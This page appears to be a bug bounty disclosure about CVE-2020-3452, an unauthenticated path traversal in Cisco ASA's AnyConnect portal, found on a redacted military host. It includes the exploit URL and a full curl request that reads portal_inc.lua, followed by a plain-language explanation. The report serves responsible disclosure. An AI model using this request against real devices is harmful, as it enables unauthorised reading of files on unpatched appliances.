[CVE-2020-3452] Unauthenticated file read in Cisco ASA
A Cisco ASA device was vulnerable to CVE-2020-3452, an unauthenticated path traversal in the AnyConnect web portal that lets a remote user read files on the appliance. The reporter confirmed it on a live host and states that anyone can read any file present on the server.
- Disclosed after 2 months
Hey,
I found out that host ████████.mil was vulnerable to CVE-2020-3452.
You can test it by visiting the URL:
https://██████████.mil/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
To try it with CURL please run the following command:
curl -i -s -k -X $'GET' \
-H $'Host: ███████.mil' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-Fetch-Site: none' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Dest: document' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' \
$'https://████████.mil/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua'
███████
Reference:
- https://www.secpod.com/blog/cve-2020-3452-affecting-85000-cisco-asa-ftd-devices/
- https://twitter.com/aboul3la/status/1286012324722155525
Impact
Anyone can read any file present on the server.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the AnyConnect oem-customization endpoint passes a user-supplied resource name to the filesystem without properly blocking path traversal sequences.
Impact
An unauthenticated attacker can read any file present on the server.
What the attacker needed
Network access to the ASA web portal; no authentication needed
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The web login page for Cisco's VPN software (AnyConnect) accepts a request that names a file to show. By putting '..' sequences in that name, a visitor can step outside the folder the page is meant to serve and ask for other files on the device. No login is needed, so anyone who can reach the page can read files.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.